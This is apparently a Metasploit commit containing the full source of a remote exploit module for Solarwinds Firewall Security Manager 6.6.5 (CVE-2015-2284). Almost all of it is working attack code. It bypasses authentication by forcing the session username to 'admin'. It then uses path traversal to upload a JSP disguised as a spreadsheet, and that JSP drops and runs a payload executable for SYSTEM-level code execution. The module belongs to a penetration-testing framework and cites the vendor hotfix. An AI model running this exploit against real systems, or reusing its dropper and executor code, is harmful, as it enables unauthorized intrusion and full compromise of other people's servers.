Land #5050, @wchen-r7's exploit for Solarwinds Firewall Security Manager
* CVE-2015-2284bug/bundler_fix
jvazquez-r7
commit
828301a6cc
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##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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include Msf::Exploit::EXE
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include Msf::Exploit::FileDropper
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def initialize(info={})
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super(update_info(info,
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'Name' => "Solarwinds Firewall Security Manager 6.6.5 Client Session Handling Vulnerability",
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'Description' => %q{
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This module exploits multiple vulnerabilities found in Solarwinds Firewall Security Manager
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6.6.5. The first vulnerability is an authentication bypass via the Change Advisor interface
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due to a user-controlled session.putValue API in userlogin.jsp, allowing the attacker to set
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the 'username' attribute before authentication. The second problem is that the settings-new.jsp
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file will only check the 'username' attribute before authorizing the 'uploadFile' action,
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which can be exploited and allows the attacker to upload a fake xls host list file to the
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server, and results in arbitrary code execution under the context of SYSTEM.
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Depending on the installation, by default the Change Advisor web server is listening on port
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48080 for an express install. Otherwise, this service may appear on port 8080.
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Solarwinds has released a fix for this vulnerability as FSM-v6.6.5-HotFix1.zip. You may
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download it from the module's References section.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'rgod', # Original discovery
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'mr_me <steventhomasseeley[at]gmail.com>', # https://twitter.com/ae0n_
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'sinn3r' # Metasploit
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],
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'References' =>
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[
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['CVE', '2015-2284'],
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['OSVDB', '81634'],
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['ZDI', '15-107'],
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['URL', 'http://downloads.solarwinds.com/solarwinds/Release/HotFix/FSM-v6.6.5-HotFix1.zip']
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],
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'DefaultOptions' =>
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{
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'RPORT' => 48080 # Could be 8080 too
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},
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'Platform' => 'win',
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'Targets' =>
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[
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['Solarwinds Firewall Security Manager 6.6.5', {}]
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],
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'Privileged' => false,
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'DisclosureDate' => 'Mar 13 2015',
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('TARGETURI', [ true, 'Base FMS directory path', '/'])
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], self.class)
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end
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# Returns a checkcode that indicates whether the target is FSM or not
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def check
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res = send_request_cgi('uri' => normalize_uri(target_uri.path, 'fsm', 'login.jsp'))
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if res && res.body =~ /SolarWinds FSM Change Advisor/i
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return Exploit::CheckCode::Detected
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end
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Exploit::CheckCode::Safe
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end
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# Exploit/run command
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def exploit
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unless check == Exploit::CheckCode::Detected
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fail_with(Failure::NotVulnerable, 'Target does not appear to be a Solarwinds Firewall Security Manager')
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end
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# Stage 1 of the attack
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# 'admin' is there by default and you can't delete it
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username = 'admin'
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print_status("Auth bypass: Putting session value: username=#{username}")
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sid = put_session_value(username)
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print_status("Your SID is: #{sid}")
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# Stage 2 of the attack
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exe = generate_payload_exe(code: payload.encoded)
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filename = "#{Rex::Text.rand_text_alpha(5)}.jsp"
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# Because when we get a shell, we will be at:
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# C:\Program Files\SolarWinds\SolarWinds FSMServer\webservice
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# So we have to adjust this filename in order to delete the file
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register_files_for_cleanup("../plugins/com.lisletech.athena.http.servlets_1.2/jsp/#{filename}")
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malicious_file = get_jsp_payload(exe, filename)
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print_status("Uploading file: #{filename} (#{exe.length} bytes)")
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upload_exec(sid, filename, malicious_file)
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end
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private
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# Returns a write-stager
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# I grabbed this from Juan's sonicwall_gms_uploaded.rb module
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def jsp_drop_bin(bin_data, output_file)
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jspraw = %Q|<%@ page import="java.io.*" %>\n|
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jspraw << %Q|<%\n|
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jspraw << %Q|String data = "#{Rex::Text.to_hex(bin_data, "")}";\n|
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jspraw << %Q|FileOutputStream outputstream = new FileOutputStream("#{output_file}");\n|
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jspraw << %Q|int numbytes = data.length();\n|
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jspraw << %Q|byte[] bytes = new byte[numbytes/2];\n|
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jspraw << %Q|for (int counter = 0; counter < numbytes; counter += 2)\n|
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jspraw << %Q|{\n|
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jspraw << %Q| char char1 = (char) data.charAt(counter);\n|
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jspraw << %Q| char char2 = (char) data.charAt(counter + 1);\n|
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jspraw << %Q| int comb = Character.digit(char1, 16) & 0xff;\n|
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jspraw << %Q| comb <<= 4;\n|
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jspraw << %Q| comb += Character.digit(char2, 16) & 0xff;\n|
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jspraw << %Q| bytes[counter/2] = (byte)comb;\n|
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jspraw << %Q|}\n|
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jspraw << %Q|outputstream.write(bytes);\n|
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jspraw << %Q|outputstream.close();\n|
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jspraw << %Q|%>\n|
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jspraw
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end
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# Returns JSP that executes stuff
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# This is also from Juan's sonicwall_gms_uploaded.rb module
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def jsp_execute_command(command)
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jspraw = %Q|<%@ page import="java.io.*" %>\n|
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jspraw << %Q|<%\n|
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jspraw << %Q|try {\n|
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jspraw << %Q| Runtime.getRuntime().exec("chmod +x #{command}");\n|
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jspraw << %Q|} catch (IOException ioe) { }\n|
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jspraw << %Q|Runtime.getRuntime().exec("#{command}");\n|
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jspraw << %Q|%>\n|
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jspraw
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end
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# Returns a JSP payload
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def get_jsp_payload(exe, output_file)
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jsp_drop_bin(exe, output_file) + jsp_execute_command(output_file)
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end
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# Creates an arbitrary username by abusing the server's unsafe use of session.putValue
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def put_session_value(value)
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res = send_request_cgi(
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'uri' => normalize_uri(target_uri.path, 'fsm', 'userlogin.jsp'),
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'method' => 'GET',
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'vars_get' => { 'username' => value }
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)
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unless res
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fail_with(Failure::Unknown, 'The connection timed out while setting the session value.')
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end
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get_sid(res)
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end
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# Returns the session ID
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def get_sid(res)
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cookies = res.get_cookies
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sid = cookies.scan(/(JSESSIONID=\w+);*/).flatten[0] || ''
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sid
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end
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# Uploads a malicious file and then execute it
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def upload_exec(sid, filename, malicious_file)
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res = upload_file(sid, filename, malicious_file)
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if !res
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fail_with(Failure::Unknown, 'The connection timed out while uploading the malicious file.')
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elsif res.body.include?('java.lang.NoClassDefFoundError')
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print_status('Payload being treated as XLS, indicates a successful upload.')
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else
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print_status('Unsure of a successful upload.')
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end
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print_status('Attempting to execute the payload.')
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exec_file(sid, filename)
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end
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# Uploads a malicious file
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# By default, the file will be saved at the following location:
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# C:\Program Files\SolarWinds\SolarWinds FSMServer\plugins\com.lisletech.athena.http.servlets_1.2\reports\tickets\
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def upload_file(sid, filename, malicious_file)
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# Put our payload in:
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# C:\Program Files\SolarWinds\SolarWinds FSMServer\plugins\com.lisletech.athena.http.servlets_1.2\jsp\
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filename = "../../jsp/#{filename}"
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mime_data = Rex::MIME::Message.new
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mime_data.add_part(malicious_file, 'application/vnd.ms-excel', nil, "name=\"file\"; filename=\"#{filename}\"")
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mime_data.add_part('uploadFile', nil, nil, 'name="action"')
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proto = ssl ? 'https' : 'http'
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ref = "#{proto}://#{rhost}:#{rport}#{normalize_uri(target_uri.path, 'fsm', 'settings-new.jsp')}"
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send_request_cgi(
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'uri' => normalize_uri(target_uri.path, 'fsm', 'settings-new.jsp'),
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'method' => 'POST',
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'vars_get' => { 'action' => 'uploadFile' },
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'ctype' => "multipart/form-data; boundary=#{mime_data.bound}",
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'data' => mime_data.to_s,
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'cookie' => sid,
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'headers' => { 'Referer' => ref }
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)
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end
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# Executes the malicious file and get code execution
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# We will be at this location:
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# C:\Program Files\SolarWinds\SolarWinds FSMServer\webservice
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def exec_file(sid, filename)
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send_request_cgi(
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'uri' => normalize_uri(target_uri.path, 'fsm', filename)
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)
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end
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# Overrides the original print_status so we make sure we print the rhost and port
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def print_status(msg)
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super("#{rhost}:#{rport} - #{msg}")
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end
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end
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